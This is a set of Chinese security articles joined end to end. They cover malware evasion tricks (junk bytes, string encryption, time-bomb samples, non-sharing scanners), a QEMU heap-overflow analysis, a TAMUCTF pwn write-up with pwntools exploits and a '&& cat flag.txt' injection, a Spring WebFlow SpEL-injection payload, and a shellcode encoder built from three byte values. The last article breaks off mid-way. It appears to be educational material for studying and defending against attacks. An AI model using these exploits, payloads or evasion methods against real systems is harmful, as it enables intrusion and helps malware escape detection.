市场上有一些软件包允许使用者只需要少量的技术能力就可以创建一个能够完全访问系统文件、从网络上加载组件、访问 Windows 注册表的程序。例如：
[AutoIt](https://www.autoitscript.com/site/autoit/)
Winbatch
[Macro Express](http://www.macros.com/)
使用这些工具创建的应用程序不太可能被检测到，因为他们的代码通常采用中间语言的形式，而且需要特定的反编译器来分析它的行为。
**源码修改**
源码修改是创建输出文件最高级的方法之一，那么怎样修改源码才能产生不同的输出文件呢？
使得源码突变，比如通过使用模版
在源文件中重新排序函数
改变各个功能的优化选项
将伪参数引入函数并伪造他们的用法（编译器可以优化删除未使用的参数）
在代码行之间引入垃圾（比如执行不必要的任务的垃圾指令、彼此跳转的指令、函数参数的不必要检验、对本地变量不必要的引用）
非线性执行代码（比如 switch）
结构定义的改变，即数据结构成员的随机排列或引入虚拟字段
所有这些更改都能在出书文件中引发重大变化。
**清单10-在 Delphi 代码中增加垃圾指令**
procedure TForm1.FormCreate(Sender: TObject);
begin
// junk instructions (these instructions
// do not have any impact on the behaviour
// of the application)
asm
db 0EBh,02h,0Fh,078h
db 0EBh,02h,0CDh,20h
db 0EBh,02h,0Bh,059h
db 0EBh,02h,038h,045h
db 0E8h,01h,00h,00h,00h,0BAh,8Dh,64h,24h,004h
db 07Eh,03h,07Fh,01h,0EEh
db 0E8h,01h,00h,00h,00h,03Ah,8Dh,64h,24h,004h
db 0EBh,02h,03Eh,0B8h
end;
// This line will be unreadable by
// a disassembler, thanks to
// the junk instructions
Form1.Caption := 'Hello world';
asm
db 070h,03h,071h,01h,0Ch
db 0EBh,02h,0Fh,037h
db 072h,03h,073h,01h,080h
db 0EBh,02h,0CDh,20h
db 0EBh,02h,0Fh,0BBh
db 078h,03h,079h,01h,0B7h
db 0EBh,02h,094h,05Ch
db 0C1h,0F0h,00h
end;
end;
我见过修改源码最先进的工具是由 Syncrosoft 开发的 MCFACT 系统，用于保护知名音响制造公司 Steinberg 的 Cubase
套件。该系统会首先分析源码，然后将其转换为受保护的形式。
**清单11-经过 MCFACT 系统后的 C++ 代码**
//MCFACT_PROTECTED
unsigned int findInverse(unsigned int n)
{
unsigned int test = 1;
unsigned int result = 0;
unsigned int mask = 1;
while (test != 0)
{
if (mask & test)
{
result |= mask;
//MCFACT_AUTHORIZED
test -= n;
}
mask <<= 1;
n <<= 1;
}
return result;
}
// code after protection
unsigned int findInverse(unsigned int n)
{
...
class _calculations_cpp_test_0 test=((_init0_0::_init0)());
class _calculations_cpp_result_0 result=((_init1_0::_init1)());
class _calculations_cpp_mask_0 mask=((_init2_0::_init2)());
_cycle1:{
signed char tmp8;
((tmp8)=((IsNotEqual)((test), (_calculations_cpp_c_0_0))));
if ((tmp8)) {
{
unsigned int tmp7;
((And)((mask), (test), (tmp7)));
if ((tmp7)) {
((Or)((result), (mask), (result)));
((Sub)((test), (n), (test)));
}
((ShiftLeftOne)((mask), (mask)));
((n)<<=(1U));
}
goto _cycle1;
}
}
{
unsigned int tmp9;
((Copy)((result), (tmp9)));
return(tmp9);
}
}
分析这样的代码是相当困难的，这个保护最终被 Team-AiR 攻破，根据其 NFO 文件显示，他们花了近 4000
小时，将近一年工作的一半。在此期间，软件发行商可以继续销售软件而不用考虑盗版的问题。Cloakware 现在是 Lrdeto
公司也在开发类似的保护系统，但是该项目被放弃了。我相信如果这种保护系统与先进的虚拟化技术相结合，对于用户和反病毒软件都是灾难性的。幸运的是，构建这种系统非常困难而且不常见。
**数据和字符串加密**
这是隐藏敏感信息时最常用的办法，加密通常用于包含那些感染文件的名字、控制服务器地址、甚至是 FTP
或者邮箱的密码。恶意软件与其控制服务之间的通信也常常是加密的，以保证其内容是秘密的。
Rootkit 样本 Rustock 使用了 [RC4](https://en.wikipedia.org/wiki/RC4)
加密算法（这是恶意软件中最常见的一个），以保护自己的模块可供分析，在感染时，从计算机取得的硬件 ID
将作为其病毒的加密密钥，同时这个程序将不会在其他计算机上工作（由于硬件 ID
不匹配），同一时间在另一台计算机上进行分析也是不可能的（例如病毒被发送到了反病毒公司进行分析），必须得到被感染计算机的硬件 ID 才能将病毒代码解密。
公认的加密算法 [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)
利用固定的数据表，软件（就像 [PEiD](https://www.aldeid.com/wiki/PEiD)
这种扫描器）分析可以立即检测到这种算法存在于可执行程序中，这会给分析师提醒，有什么东西加密了躲在代码中，值得调查。出于这个原因，恶意软件作者常常使用动态生成的加密算法，这样不会引起怀疑，例如：
**清单12-动态生成的获得使用**[ **StringEncrypt** ****](https://www.stringencrypt.com/)
******服务的解密代码**
// encrypted with https://www.stringencrypt.com (v1.1.0) [C/C++]
// wszLabel = "C/C++ String Encryption"
wchar_t wszLabel[24] = { 0x2976, 0x2AF9, 0x289C, 0x2B9F, 0x2BA2, 0x2D05, 0x2688, 0x316B,
0x336E, 0x33D1, 0x3214, 0x3337, 0x2CDA, 0x277D, 0x3200, 0x34A3,
0x32C6, 0x3269, 0x32AC, 0x312F, 0x3392, 0x3255, 0x3258, 0x609B };
for (unsigned int Qqhvj = 0, JWqBw = 0; Qqhvj < 24; Qqhvj++)
{
JWqBw = wszLabel[Qqhvj];
JWqBw -= 0xA50D;
JWqBw += Qqhvj;
JWqBw = (((JWqBw & 0xFFFF) >> 15) | (JWqBw << 1)) & 0xFFFF;
JWqBw ^= 0xB0D1;
JWqBw ++;
JWqBw = (((JWqBw & 0xFFFF) >> 3) | (JWqBw << 13)) & 0xFFFF;
JWqBw = ~JWqBw;
JWqBw += 0xAF02;
JWqBw ^= Qqhvj;
JWqBw ^= 0x9FC1;
JWqBw -= 0xA9E0;
JWqBw = ~JWqBw;
JWqBw ++;
JWqBw = (((JWqBw & 0xFFFF) >> 3) | (JWqBw << 13)) & 0xFFFF;
JWqBw --;
wszLabel[Qqhvj] = JWqBw;
}
wprintf(wszLabel);
**定时炸弹**
有时候恶意软件被设计在一定时间段后激活，例如它可以检查本地时间然后在一个精确的日期后操作，这样的恶意软件有可能会避开反病毒软件（因为没有观察到系统更改）。因此，如果初步分析表明这个程序不是完全安全的，进一步观察是明确的做法。
**清单13-一个特定的日期后激活程序**
#include <windows.h>
void MrMalware(void)
{
// malicious code
MessageBox(NULL, "I'm a virus!", "Boo!", MB_ICONWARNING);
return;
}
int main()
{
SYSTEMTIME stLocalTime = { 0 };
// obtain the current time
GetLocalTime(&stLocalTime);
// activate the malicious code
// only after this date
if (stLocalTime.wYear >= 2013 &&
stLocalTime.wMonth >= 5 &&
stLocalTime.wDay >= 2)
{
MrMalware();
}
return 0;
}
当我们怀疑一个程序中包含定时炸弹时怎么办？最直接的解决方案是向前或者向后调整系统时间，并使用监控工具监控系统的变化。尽管很简单，但是对发现定时炸弹很有效。
**
**
**延迟执行**
除了定时炸弹，有些恶意程序会采用延迟执行，就像定时器一样。基本思路是，程序启动后不会发生恶意行为，在设定的时间后就会发生。这是双重效果，首先可以误导分析师，在启动过程中没有任何反应，程序应该是安全的，阻止了其进一步进行分析。其二，延时执行可以欺骗反病毒软件的仿真器，仿真器都受到时间的限制，因为用户启动程序并等待了一个半小时后触发了加密代码的执行，对仿真器来说这已经毫无意义了。一个良好的仿真器会检测时间延迟（比如
sleep 函数、延迟循环等），但不可能将所有的时间延迟都考虑在内，Windows 中多种度量时间的办法意味着使用时间延迟对动态代码分析是一种好的防御措施。
**清单14-在一定时间周期后激活的恶意代码**
#include <windows.h>
DWORD dwTimerId = 0;
const DWORD dwTimerEventId = 666;
// callback function activated after a designated time
VOID CALLBACK MrMalware(HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime)
{
// malicious code
MessageBox(NULL, "I'm a virus!", "Boo!", MB_ICONWARNING);
return;
}
int main()
{
// activate malicious code 5 seconds
// after the program is launched
dwTimerId = SetTimer(NULL, dwTimerEventId, 5 * 1000, MrMalware);
MessageBox(NULL, "I'm a friendly program", "Hi!", MB_ICONINFORMATION);
return 0;
}
**
**
**加密签名**
[加密签名](https://en.wikipedia.org/wiki/Digital_signature)通常用来签名应用程序，以此保证拥有数字签名的应用程序来自受信任的来源。某些防病毒软件会放行那些有数字签名的应用程序。为了获得数字证书，个人和企业的信息都必须在证书中，必须被验证过。如果没有可以证明的文件（比如银行对账单、身份证的扫描件）是不可能获得合法机构的证书的。然而，数字证书确实会被黑客盗取，然后用于签署恶意软件。这样的例子并不多见，但这样会让那些为所有具有数字证书放行的反病毒软件造成问题。
**在线扫描**
恶意软件的作者一定非常想知道他的恶意软件被反病毒软件检测的情况，安装所有的反病毒软件不仅费事费时，它们之间还并不兼容。所以恶意软件的作者往往会使用在线服务来检测。如果你第一个想到的是
[VirusToal](https://www.virustotal.com/)（[最近被 Google
收购](http://blog.virustotal.com/2012/09/an-update-from-virustotal.html)），你只了解了一点点。恶意软件的作者是不会使用这些网站（又例如
[Jotti](https://virusscan.jotti.org/)）的，提交给他们的所有文件都与反病毒公司共享，用来提高其反病毒产品的检测精度。恶意软件作者会使用像
[NoVirusThanks](http://vscan.novirusthanks.org/) 或
[NoDistribute](https://nodistribute.com/)，它们都以不和反病毒公司合作而著称。
**
**
**结论**
从我的经验观察，恶意软件作者和分析师的战斗永远不会停止。有趣的是战争两边，一边是好的，像反病毒公司、为了合法版权保护的公司，另一边都是坏的，那些试图突破软件保护的人、那些写出可以被恶意软件利用的软件的人。从文章开始到结束，我们纵观工具随着时间的演变，我们可以推测出接下来会发生什么吗？我的看法是一切都会向代码虚拟化的方向前进，但是会比当前的方案更先进。这从当前市场上对原生应用程序保护工具以及
.NET 应用程序虚拟化工具的出现就可以看出。反病毒公司会如何处理呢？一如既往地，要依赖卓越的员工的杰出工作。 | 社区文章 |
# 360MarvelTeam虚拟化漏洞第二弹：CVE-2015-5279 漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：360MarvelTeam
译文仅供参考，具体内容表达以及含义原文为准。
云计算目前已成为一种被大多数互联网公司接受的服务模式,它提供了定制化的硬件资源、应用以及服务。作为实现云计算构想的最重要的技术基石,虚拟化系统提供了硬件资源的量化分配和灵活调度,保证云业务的顺利实施。因此,云业务的健康发展,离不开虚拟化系统的稳定运行。
360 Marvel Team将陆续公开一系列独立发现的针对虚拟化软件高危0day漏洞的分析文章,揭开虚拟化攻击技术的神秘面纱。在9月29日的360 ISC
2015大会上,团队安全研究员唐青昊,将进行关于《云虚拟化系统的漏洞挖掘技术》议题的演讲,在该议题中将分享漏洞挖掘的核心技术。
本文为该系列的第二篇文章,将详细分析CVE-2015-5279 qemu网卡堆溢出漏洞的相关知识。第一篇文章是针对CVE-2015-6815漏洞的分析。
**
**
**一. 漏洞基础知识**
CVE-2015-5279是qemu虚拟化环境中rtl8029网卡设备存在一处堆溢出类型漏洞。那么什么是qemu软件?qemu软件和kvm虚拟化存在什么样的关系?rtl8029网卡是怎样的一款设备呢?下面将逐一解答这些问题。
QEMU是一款处理器模拟软件,可以提供用户模式模拟和系统模式模拟。当处于用户模式模拟状态时,将使用动态翻译技术,允许一个cpu构建的进程在另一个cpu上执行。系统模式模拟状态下,允许对整个pc系统的处理器和所使用到的相关外围设备进行模拟。
qemu提供的仿真外设包括硬件Video Graphics Array (VGA) 仿真器、PS/2 鼠标和键盘、集成开发环境(IDE)硬盘和 CD-ROM
接口,以及软盘仿真。也包括对E2000 Peripheral Controller Interconnect (PCI) 网络适配器、串行端口、大量的声卡和
PCI Universal Host Controller Interface (UHCI) Universal Serial Bus (USB)
控制器(带虚拟 USB 集线器)的仿真。除了仿真标准 PC 或 ISA PC(不带 PCI 总线)外,QEMU 还可以仿真其他非 PC 硬件,如 ARM
Versatile 基线板(使用 926E)和 Malta million instructions per second (MIPS)
板。对于各种其他平台,包括 Power Macintosh G3 (Blue & White) 和 Sun-4u 平台,都能正常工作。
图1.qemu可进行模拟的外围设备
KVM是一种依赖硬件虚拟化技术(Intel VT或者AMD V)的裸机虚拟化程序,它使用 Linux 内核作为它的虚拟机管理程序。对 KVM 虚拟化的支持自
2.6.20 版开始已成为主流 Linux
内核的默认部分。KVM支持的操作系统非常广泛,包括Linux、BSD、Solaris、Windows、Haiku、ReactOS 和 AROS
Research Operating System。
在 KVM 架构中,虚拟机实现为常规的 Linux 进程,由标准 Linux 调度程序进行调度。事实上,每个虚拟 CPU 显示为一个常规的 Linux
进程。这使 KVM 能够享受 Linux 内核的所有功能。设备模拟由提供了修改过的 qemu 版本来完成。
在了解了kvm和qemu的原理以及相互的关系之后,我们再来关注下rtl8029网卡设备,如下图所示。这里需要了解的是在qemu中模拟rtl8029网卡设备的模块是ne2000。ne2000模拟了rtl8029网卡收发数据包的流程,逻辑位置位于虚拟机设备驱动和宿主机qemu网络适配器模块之间,当虚拟机的用户空间发生socket
send操作之后,设备驱动将封装好的数据发送到ne2000设备模拟器,然后进入qemu相关适配器模块,再通过宿主机的物理网卡向外发送数据。而接收数据则是相反的过程。
图2. rtl8029网卡实物照
**二.漏洞原理分析**
第一部分中简要分析了kvm, qemu,以及关于ne2000网卡模块这些了解漏洞原理的基础知识,我们再来分析CVE-2015-5279漏洞的具体产生原因。
该漏洞发生在ne2000网卡模块的接收数据包的过程,相关代码截图如下。这部分代码取自qemu-2.4.0/hw/net/ne2000.c文件中的ne2000_receive函数。ne2000_receive函数是虚拟机接收外部数据包的关键函数,其大致流程为:
1.判断网卡是否处于工作状态,数据缓冲区是否处于满的状态;
2.通过检测是否是否处于混杂模式,mac地址是否匹配,是否为广播地址,从而判断是否接收此数据包;
3.如缓冲区较小,则对其进行扩展;
4.进入数据包处理过程(如下图代码所示):处理数据包头部;写数据包内容;
5.结束收包过程(如下图代码所示)。
图3. 有缺陷的代码
在进入收包代码之前,s->curpag,s->stop,s->start是可以被黑客控制为任意数值。因此在上述函数流程的第4步中,index,avail,len这些关键的变量也可以被设置为可控的数值。利用这一特点,黑客可以创造出哪些攻击方式呢?
首先可以导致逻辑循环,即当进入while循环之后,使len不断等于0,执行”size -= len; ”这一行指令时,size永远不会减小,因此“
while (size > 0) ”的判断永远为真,进入死循环。
第二种是造成堆缓冲区的溢出,在执行“memcpy(s->mem + index, buf, len);
”这一行代码时,由于index是可被操控的,因此可以在正确的缓冲区之外写入数据包内容。要实现这种利用方式,还需控制收包流程中的第一步,即判断缓冲区边界的过程。相关代码截图如下。
图4. 需要进行关注的关键代码
**三.漏洞危害**
CVE-2015-5279被qemu官方安全团队定义为高危漏洞,一旦被黑客恶意利用,可以实现拒绝服务攻击,虚拟机逃逸攻击。在成功利用该漏洞之后,黑客进而可以控制宿主机以及该宿主机上的其他虚拟机,进而造成企业的敏感信息泄露,内网被渗透的可怕后果。
图5. 官方确定该漏洞为高危
**四.漏洞修复方案**
360 Marvel
Team在发现该漏洞之后,第一时间通知了qemu官方安全团队进行修复。在经历了长达25天的紧张修复之后,官方团队于9月15日公开了该漏洞的详细信息,该详细信息里也包含了对360
Marvel Team成员的致谢信息。
官方提供了对该漏洞的补丁,其中在ne2000_receive函数中增加了对索引边界的检查,防止了缓冲区溢出的危险。建议使用qemu的厂商尽快采用该补丁,以免黑客利用该漏洞对业务造成影响。
图6. 官方发布的补丁信息
针对360 Marvel
Team独立发现的虚拟化安全漏洞CVE-2015-5279,本文完整分析了漏洞相关的原理,危害,以及修复方案,希望可以引起更多开展云业务的公司,对虚拟化安全问题的重视。
**
**
**关于360 Marvel Team**
360 Marvel
Team是国内首支虚拟化安全研究团队,研究内容为云安全领域的虚拟化平台攻防技术,致力于保持领先的脆弱性安全风险发现和防护能力,针对主流虚拟化平台提供漏洞检测和系统加固解决方案。 | 社区文章 |
## TAMUCTF-部分pwn解析
和队里师傅做了这个比赛的题目难度有些梯度，但是后面两个题难度实在大了，水平太低不会了，前面的题还是比较简单有一定的借鉴意义，记录一下大佬勿喷。
### pwn1
第一题比较简单大概看一下。
#### main
从栈分布和main函数来看就是一个栈溢出加上覆盖指针然后成功运行print_flag函数就可以拿到flag了。
#### exp
p = remote("nc pwn.tamuctf.com",4321)
#p = process('./pwn1.dms')
context.log_level = 'debug'
pa_0 = "Sir Lancelot of Camelot"
pa_1 = "To seek the Holy Grail."
pa_2 = "a"*0x2b +p32(0xDEA110C8)
p.recvuntil("What... is your name?\n")
p.sendline(pa_0)
p.recvuntil("What... is your quest?\n")
p.sendline(pa_1)
p.recvuntil("What... is my secret?\n")
p.sendline(pa_2)
p.interactive()
#gigem{34sy_CC428ECD75A0D392}
### pwn2
这个题目考查的是pie的绕过，用的方法是低位覆盖
#### 保护
#### main
逻辑比较简单就不多说了
#### select_function
主要是进行一个运行函数的筛选，其中的one和two我就不进行截图查看了就是一个puts函数没有什么特别的，这里我想的是利用strncpy的一个一个字节的溢出来造成最后程序的转跳，因为one的函数前面3个字节和后门函数是一样的，这里具体可以看栈分布，就不截图出来的。
#### exp
p = process('pwn2.dms')
&& cat flag.txt
#gigem{5y573m_0v3rfl0w}
'''
'''
p = remote("nc pwn.tamuctf.com",4322)
#p = process("pwn2.dms")
context.log_level = 'debug'
#6D8
pay ="a"*(0x1e)+"\xd8"
#gdb.attach(p)
p.recvuntil("Which function would you like to call?")
p.sendline(pay)
p.interactive()
#gigem{4ll_17_74k35_15_0n3}
### pwn3
一个ret2sc的题，具体难度就是在调试的时候可能会有各种各样的问题
#### 保护
这个地方没有开始nx，所以想到可以去执行ret2sc
#### main
程序的开始就给了我们我们输入的stack地址，我们的stack地址加上填充的长度然后输入我们的shellcode，接着返回地址覆盖成我们已经布置好栈的位置这样就可以getshell拿到flag了。
#### exp
#p = process("./pwn3.dms")
context(arch = 'i386', os = 'linux')
p = remote("pwn.tamuctf.com",4323)
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("Take this, you might need it on your journey ")
ret = int(p.recv()[:10],16)
print ret
p.sendline("a"*(0x12a+4)+p32(ret+0x12a+0x8)+asm(shellcraft.sh()))
p.interactive()
#gigem{r3m073_fl46_3x3cu710n}
### pwn4
一个关于linux命令行的问题，是一个系列先看第一个类型
#### main
这里就是让我们输入ls xx
我们要输入的区域是xx处，刚开始我想难道ls也有什么可以显示文本内容的骚操作。。结果问了个师傅才知道自己对linux命令行了解的浅薄，因为这个pwn4没有限制xx处的长度所以我们可以直接getshell
##### exp
`&& cat flag.txt`
### pwn5
是这5个简单题里比较有难度的，但是其实也没什么，打开ida的时候很容易就能发现是静态编译
#### main
因为这里限制了ls xx
xx处的长度所以我们只能采取一个其他方法绕过，这里查看get栈溢出处可以发现这题的栈比较干净所以果断选择rop，又因为是静态编译的所以可以直接进行ret2sc具体还是比较简单的。
#### exp
### 总结
这部分题目总体不是很难，但是后面两个题是真的没什么思路，希望大佬能够出来教授一下。 | 社区文章 |
# 【漏洞分析】CVE-2017-4971：Spring WebFlow 远程代码执行漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：threathunter.org
原文地址：<https://threathunter.org/topic/593d562353ab369c55425a90>
译文仅供参考，具体内容表达以及含义原文为准。
****
**前言**
Spring严重的漏洞历来都不算多，之前比较严重的那个问题是Spring的JavaBean的自动绑定功能，导致可以控制class，从而导致可以利用某些特性执行任意代码，但是那个漏洞比较鸡肋，不是每次都能触发。
由于Spring的框架越来越多，而且后面引入了SpringEl作为默认的表达式解析方式，所以一旦引入了类似于OGNL的表达式，很可能会带来一些安全问题，
**本次漏洞就是由于Spring WebFlow的数据绑定问题带来的表达式注入，从而导致任意代码执行。**
**漏洞简介**
这个漏洞在今年6月初刚被提交<https://pivotal.io/security/cve-2017-4971>
，官方并没有详细的信息，通过官方描述和补丁的对比，我们可以大致推断应该是Spring
WebFlow在Model的数据绑定上面，由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行，导致任意代码执行的漏洞，这个漏洞利用除了版本的限制之外还有两个前置条件，这两个前置条件中有一个是默认配置，另外一个就是编码规范了，漏洞能不能利用成功主要就取决于后面的条件。
整体来说这个漏洞危害应该还是有一些的，如果满足2个前置条件，那么直接RCE是没什么问题的。在分析这个漏洞之前需要一些Spring
Webflow的基础知识，给大家推荐这篇文章<https://www.ibm.com/developerworks/cn/education/java/j-spring-webflow/index.html> 。
**漏洞分析**
一开始我也不清楚这个漏洞到底是怎么触发，对于这个漏洞的理解，最好去看下Spring WebFlow的教程，搞明白里面的view-state是啥，这里不过多对Spring WebFlow的基础知识过多解释，那么我们直接看补丁，如下图
我们发现这里对 addEmptyValueMapping(DefaultMapper mapper, String field, Object model)
这个方法里面表达式解析的实现类进行了替换，直接使用了BeanWrapperExpressionParser来解析，关于这个类我们后面再详细说，那么知道触发漏洞的函数后，我们就可以用Eclipse或者Spring
Tools来跟踪下函数调用栈，具体如下：
通过调用关系我们可以发现一共有以下两个函数调用了addEmptyValueMapping方法
addDefaultMappings(DefaultMapper mapper, Set<String> parameterNames, Object model)
addModelBindings(DefaultMapper mapper, Set<String> parameterNames, Object model)
这里通过调用关系我们可以大概的搞明白Spring
WebFlow的执行顺序和流程，由flowcontroller决定将请求交给哪个handler去执行具体的流程，这里我们需要知道当用户请求有视图状态处理时，会决定当前事件下一个执行的流程，同时对于配置文件中我们配置的view-state元素，如果我们指定了数据的model，那么它会自动进行数据绑定，xml结构如下(这里以官方的example中的book项目为例子)
言归正传，本次漏洞出现的原因就是在view-state节点中数据绑定上，我们继续跟踪addEmptyValueMapping方法的调用过程，这里通过eclipse我们可以发现bind方法间接的调用了addEmptyValueMapping函数，
到这里我们知道了addEmptyValueMapping函数存在表达式执行的点，我们现在来详细看下这个addEmptyValueMapping函数，如下图
这里我们可以看见，只有控制了field参数才能触发漏洞，所以我们重点是找到有没有点我们可以控制从而控制field参数来进行任意代码执行，这里明确目标后，我们回过头来看addDefaultMappings和addModelBindings这两个函数，既然这两个函数都调用了存在缺陷的函数，那么我们看看这两个函数的区别是什么，而且那个函数能控制field参数，两个函数的区别如下
这里比较明显的区别就是addModelBindings函数中 for (Binding binding :
binderConfiguration.getBindings())
存在这样一个循环，而且就是这个循环的控制决定了field参数的值，经过进一步分析，这里控制field的参数的决定性因素就是binderConfiguration这个变量所控制的值，这里经过源码的跟踪我们可以发现，binderConfiguration函数的值就是webflow-*.xml中view-state中binder节点的配置，所以这个函数的值来源于配置文件，所以这个函数我们无法控制，从而无法触发漏洞，所以我们重点来看看addDefaultMappings这个函数，我们发现addDefaultMappings中我们可以控制field参数，所以我们重点来看看如何去触发这个函数。
现在我们基本上可以确定了addDefaultMappings函数是我们触发漏洞的关键点，那么如上图所示，bing函数中调用了这两个函数，那么我们可以看出只有当binderConfiguration为空的时候才能触发我们的漏洞，那么我们刚才也说了binderConfiguration这个值是由配置文件中是否有binder节点来控制的（这里需要注意的是程序执行到bind方法的前置条件是view-state节点中是否配置了model属性，即绑定的javabean对象是什么），而且addDefaultMappings函数中parameterNames参数就是我们从表单中传递的值，所以到这里漏洞的触发流程和触发条件基本上清楚了，触发条件如下：
在webflow配置文件中view-state节点中指定了model属性，并且没有指定绑定的参数，即view-state中没有配置binder节点
而且MvcViewFactoryCreator类中useSpringBeanBinding默认值（false）未修改
这里为什么一定要useSpringBeanBinding的值为false，我们来看一下addEmptyValueMapping函数，这里的expressionParser变量的声明类是ExpressionParser接口，那么决定最后
expressionParser.parseExpression(field,
parserContext)这个函数来执行任意表达式是这个变量的赋值，那么在spring
webflow中这个expressionParser的默认值就是WebFlowELExpressionParser的实例，这个类表达式默认的解析是有spel来执行的，具体可以去跟踪函数，那么在org.springframework.webflow.mvc.builder.MvcViewFactoryCreator.createViewFactory(Expression,
ExpressionParser, ConversionService, BinderConfiguration, Validator,
ValidationHintResolver)这个类如下图
我们可以看见如果useSpringBeanBinding这个属性为false那么就使用默认的解析类，如果这个值为true就由BeanWrapperExpressionParser这个类来解析，这个类的parseExpression函数我们来看看
首先决定了能不能执行的第一个控制变量是allowDelimitedEvalExpressions，这个默认值是false，所以这里是执行不了表达式的。
所以这里必须满足useSpringBeanBinding这个默认值不被改变。
这里需要注意一点，我们构造的恶意参数名称必须以_开头，具体原因看addDefaultMappings函数中的fieldMarkerPrefix变量。
OK，到这里漏洞的触发条件和流程已经很明确了，下面说说具体怎么利用。
**漏洞利用**
这次漏洞测试是以Spring Webflow官方的Example中的例子来进行，因为这里的某个flow满足我们的条件，具体配置如下：
项目地址<https://github.com/spring-projects/spring-webflow-samples/tree/master/booking-mvc>
，这里在测试时需要注意修改org.springframework.webflow.samples.booking.config.WebFlowConfig.mvcViewFactoryCreator()方法中的改成
factoryCreator.setUseSpringBeanBinding(false);
因为这个工程修改了useSpringBeanBinding的默认值。
这里直接到订阅图书，上图说了在reviewBooking flow中就能触发，如下图
点击confirm，然后抓包添加恶意参数变量，如下图
OK，大功告成。
****
**无害化payload检测**
如果 response header 中出现 vulnerable 头，则有漏洞：
&_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty
**
**
**参考资料**
[1] :<https://pivotal.io/security/cve-2017-4971>
[2] :<https://www.ibm.com/developerworks/cn/education/java/j-spring-webflow/index.html> | 社区文章 |
# 仅用三种字符实现 x86_64 架构的任意 shellcode
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
今年(2021) DEFCON 决赛出了一道有意思的 KoH 题(shoow-your-shell)，用 shellcode 读取 secret
文件内容并输出，比谁用的字符更少，字符数相同时比谁的长度更短。
有队伍仅用 3 个字节就输出了 secret 的内容，但这应该是出题的失误，利用 read 系统调用二次读入的字节也应该属于 payload
的一部分，全部加起来再算分更合理。如果在运行 shellcode 之前，将所有寄存器的值都设置为 0xdeadbeefdeadbeef 则可以避免此情况。
有队伍仅用 3 种字符就实现 ROP 输出了 secret 的内容，非常的强大。如果二进制开启了 PIE，是否还能仅用 3 种字符就实现输出 secret
内容的 shellcode 呢？
在 redpwnCTF 2021 中有一道叫 gelcode-2 的 shellcode 题，仅用小于等于 0x05 的字符就实现读取 flag 的
shellcode。
其实，仅用 0x00、0x01、0x05 这三种字符，即可实现 x86_64 架构的任意 shellcode。
## 三种字符 shellcode 的基本原理
### 将 shellcode 进行分段
每段指令不超过 4 个字节(如果多出来的字节是 0x00、0x01、0x05 也可以接受)，小于 4 字节的可以用 nop 等无影响的指令进行补充。
在编写时 shellcode 尽量不要使用 rax 寄存器(因为构造 shellcode 时要用到)，对于 syscall 必须用到 rax
的则需要放在同一组，以 exit(0) 系统调用为例：
6a 3c 6a 00 push 60; push 0; # 第 1 组
5f 58 0f 05 pop rdi; pop rax; syscall; # 第 2 组
大于 4 字节的指令(且多出来的字节不是 0x00、0x01、0x05 的)尽量换种写法，对于实在换不了的，下文另外讨论。
### add eax, 0xXXXXXXXX 指令
add eax, 0xXXXXXXXX 指令是以 0x05 开头，紧跟着 4 字节的操作数(小端序)，举例：
05 00 05 00 01 add eax, 0x01000500
在知道当前 eax 值的情况下，就可以通过 N 条 add eax, 0xXXXXXXXX 指令，将 eax 加成任意想要的值。
为了减少指令的数量，4 个字节可以并行地做加法，相差大于等于 5 的加 5，相差大于等于 1 的加 1，剩下相等的加 0。具体算法如下：
def next_step(value):
""" 每个字节每次加 5、1 或 0 """
n = 0
for i in range(4):
if (value >> (i * 8)) & 0xff >= 5:
n |= (5 << (i * 8))
elif (value >> (i * 8)) & 0xff >= 1:
n |= (1 << (i * 8))
return n
def add_eax(value):
""" 将 eax 加上指定的值 """
payload = b''
while value > 0:
n = next_step(value)
payload += b'\x05' + p32(n)
value -= n
return payload
### add [rip], eax 指令
add [rip], eax 指令仅含有 0x00、0x01、0x05 三种字符，并且可以将接下来 4 字节的指令加上 eax 的值，从而实现任意
shellcode 的构造。
01 05 00 00 00 00 add [rip], eax # 将 eax 的值加到接下来 4 字节的指令中
00 00 00 00 # 4 字节的占位指令(加上 eax 的值就是需要构造的目标指令)
当执行完 add [rip], eax 指令之后，下一条执行的指令就是 eax 加上占位数值所代表的指令。
除了用 4 字节的 0x00 占位外，还可以使用 0x01 和 0x05 来占位，这样可以使得整体 shellcode 的长度更短。
上文说到可以利用 0x00、0x01、0x05 三种字符构造出任意的 eax 值，也就是说，可以构造出任意 4 字节的目标指令。
完整的转换算法如下：
def asm_015(shellcode):
""" 将 shellcode 转换成 0x00、0x01、0x05 三种字符 """
# 不足 4 字节的目标指令补充 nop 指令
if len(shellcode) < 4:
shellcode = shellcode.ljust(4, b'\x90')
# 特殊处理超过 4 字节且含有其他字符的目标指令
if len(shellcode) > 4:
for c in shellcode[4:]:
if c not in (0, 1, 5):
return asm_long_015(shellcode)
# 当前 eax 距离目标指令的差值
global current_eax
eax_offset = u32(shellcode[:4]) - current_eax
if eax_offset < 0:
eax_offset += 0x100000000
# 预留第一步的值，以减少 shellcode 的总体长度
reserved = next_step(eax_offset)
eax_offset -= reserved
# 设置 eax 为目标指令
payload = add_eax(eax_offset)
current_eax = (current_eax + eax_offset) & 0xffffffff
# 将 eax 加到目标指令
payload += b'\x01\x05\x00\x00\x00\x00' # add [rip], eax
# 目标指令预留的值
payload += p32(reserved)
# 目标指令超出 4 字节的部分(全是 0x00、0x01、0x05 之一)
payload += shellcode[4:]
return payload
## 处理大于 4 字节的指令
当 shellcode 某组指令必须大于 4 字节时，如果多出的字节全是 0x00、0x01、0x05
三种字符之一，那直接加在后面即可。如果多出的字节不全是 0x00、0x01、0x05 三种字符之一，就需要特殊处理了。
一种解决方案是：将完整的指令写在某处 rwx 的内存，利用 call 指令跳过去执行，在最后加一个 ret 指令返回。
利用下面的模式就可以将 shellcode 完整地写在 rbp 指向的内存：
66 bb 34 12 mov bx, 0x1234 # 第 1 组将 bx 设置为 shellcode 第 1、2 字节
66 89 5d 00 mov [rbp + 0x0], bx # 第 2 组将 bx 写入 rbp 指向的位置(偏移为 0)
66 bb 78 56 mov bx, 0x5678 # 第 3 组将 bx 设置为 shellcode 第 3、4 字节
